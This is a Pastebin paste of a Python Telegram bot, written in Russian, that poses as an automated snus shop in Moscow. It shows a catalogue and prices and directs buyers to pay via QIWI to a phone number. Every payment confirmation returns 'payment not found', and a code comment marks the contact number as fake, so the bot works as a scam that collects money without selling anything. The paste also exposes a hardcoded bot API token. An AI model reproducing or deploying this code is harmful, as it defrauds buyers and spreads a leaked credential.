Advertisement
Guest User

Untitled

a guest
Apr 10th, 2020
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.84 KB | None | 0 0
  1. # ^_^  #
  2.  
  3. import telebot
  4. import datetime
  5. import random
  6.  
  7. kb = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True) # клавиатура
  8. kb.row('🚀Каталог') # кнопочки
  9. kb.row('📦Активные доставки')
  10. kb.row('💻Тех. Поддержка')
  11. kb.row('🏙Доступные города')
  12.  
  13. po = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True) # клавиатура
  14. po.row('✅ Подтвердить оплату') # кнопочки
  15. po.row('❌ Отменить заказ')
  16.  
  17. tovar1 = ('RED x-strong - 350₽') # товар в каталоге
  18. tovar2 = ('RED vanilla - 350₽')
  19. tovar3 = ('RED cherry - 350₽')
  20. tovar4 = ('Corvus flash - 350₽')
  21. tovar5 = ('Corvus halk - 350₽')
  22. tovar6 = ('Corvus Joker - 350₽')
  23. tovar7 = ('ARCA CHERRY - 400₽')
  24. tovar8 = ("Killa Cold Mint - 375₽")
  25. tovar9 = ("Siberia Red - 370₽")
  26. tovar10 = ("Corvus extreme - 320₽")
  27. cenatovar1 = ('350₽')
  28. cenatovar2 = ('350₽')
  29. cenatovar3 = ('350₽')
  30. cenatovar4 = ('350₽')
  31. cenatovar5 = ('350₽')
  32. cenatovar6 = ('350₽')
  33. cenatovar7 = ('400₽')
  34. cenatovar8 = ('375₽')
  35. cenatovar9 = ('370₽')
  36. cenatovar10 = ('320₽')
  37.  
  38. kat = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True) # клавиатура
  39. kat.row(tovar1) # кнопочки
  40. kat.row(tovar2)
  41. kat.row(tovar3)
  42. kat.row(tovar4)
  43. kat.row(tovar5)
  44. kat.row(tovar6)
  45. kat.row(tovar7)
  46. kat.row(tovar8)
  47. kat.row(tovar9)
  48. kat.row(tovar10)
  49. kat.row('Вернуться ➡')
  50.  
  51. op = ('@DelitelLZT') # Ник телеграмма оператора
  52. numb = ('') # Фейк Номер телефона
  53. oplata = ('+79999999999')
  54. nomerplat1 = random.randint(11111, 99999)
  55. nomerplat2 = random.randint(11111, 99999)
  56. nomerplat3 = random.randint(11111, 99999)
  57. nomerplat4 = random.randint(11111, 99999)
  58. nomerplat5 = random.randint(11111, 99999)
  59. nomerplat6 = random.randint(11111, 99999)
  60. nomerplat7 = random.randint(11111, 99999)
  61. nomerplat8 = random.randint(11111, 99999)
  62. nomerplat9 = random.randint(11111, 99999)
  63. nomerplat10 = random.randint(11111, 99999)
  64.  
  65.  
  66. bot = telebot.TeleBot('947218964:AAFCvBuNiVNf92dE2cNozKdR10uEXs_4tmE')  # токен бота
  67. @bot.message_handler(content_types=['text'])
  68.  
  69.  
  70. def handler_zz_gg(message):
  71.     id = message.chat.id
  72.     tx = message.text
  73.     timer = datetime.datetime.today().strftime("%Y-%m-%d %H:%M")
  74.     if tx == '/start':
  75.         bot.send_message(id, 'Привет! Это бот АвтоПродаж снюса. \nПочему именно мы?\n1.Всё автоматическое, не надо ждать по 2-4 дня для проверки заявки\n3. Быстрая доставка\n4. Качество', reply_markup=kb)
  76.     elif tx == '🚀Каталог':
  77.         bot.send_message(id, 'Весь каталог:', parse_mode='Markdown', reply_markup=kat)
  78.     elif tx == '🏙Доступные города':
  79.         bot.send_message(id, '🇷🇺Россия: *Москва*\n\n Цена доставки 100₽', parse_mode='Markdown', reply_markup=kb)
  80.     elif tx == '📦Активные доставки':
  81.         bot.send_message(id, '📦 Ваши активные доставки: *Тут пока пусто :<*', parse_mode='Markdown', reply_markup=kb)
  82.     elif tx == 'Вернуться ➡':
  83.         bot.send_message(id, 'Вы вернулись на главную страницу', parse_mode='Markdown', reply_markup=kb)
  84.     elif tx == '💻Тех. Поддержка':
  85.         bot.send_message(id, '✅ *Активный оператор* который сможет вам помочь в любой ситуации: '+op, parse_mode='Markdown', reply_markup=kb)
  86.     elif tx == tovar1:
  87.         bot.send_message(id, 'Товар: '+tovar1+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar1+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat1)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  88.     elif tx == tovar2:
  89.         bot.send_message(id, 'Товар: '+tovar2+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar2+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat2)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)    
  90.     elif tx == tovar3:
  91.         bot.send_message(id, 'Товар: '+tovar3+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar3+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat3)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)    
  92.     elif tx == tovar4:
  93.         bot.send_message(id, 'Товар: '+tovar4+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar4+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat4)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  94.     elif tx == tovar5:
  95.         bot.send_message(id, 'Товар: '+tovar5+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar5+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat5)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  96.     elif tx == tovar6:
  97.         bot.send_message(id, 'Товар: '+tovar6+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar6+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat6)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  98.     elif tx == tovar7:
  99.         bot.send_message(id, 'Товар: '+tovar7+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar7+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat7)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  100.     elif tx == tovar8:
  101.         bot.send_message(id, 'Товар: '+tovar8+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar8+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat8)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  102.     elif tx == tovar9:
  103.         bot.send_message(id, 'Товар: '+tovar9+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar9+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat9)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)
  104.     elif tx == tovar10:
  105.         bot.send_message(id, 'Товар: '+tovar10+'\nОплатите ваш заказ по номеру: 🥝*'+oplata+'*\nСумма оплаты: *'+cenatovar10+'*\nНомер заказа, примечание к платежу: *'+str(nomerplat10)+'*\nПосле оплаты нажмите на кнопку "✅ Подтвердить оплату"\n\nКогда оплата произойдет успешно, свяжитесь с оператором, или же по номеру телефона: *'+op+'* *'+numb+'*', parse_mode='Markdown', reply_markup=po)                
  106.     elif tx == '✅ Подтвердить оплату':
  107.         bot.send_message(id, '❌ Платёж *не найден* ❌', parse_mode='Markdown', reply_markup=po)
  108.     elif tx == '❌ Отменить заказ':
  109.         bot.send_message(id, '✅ Вы успешно *отменили* заказ', parse_mode='Markdown', reply_markup=kb)
  110.  
  111.  
  112. bot.polling()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement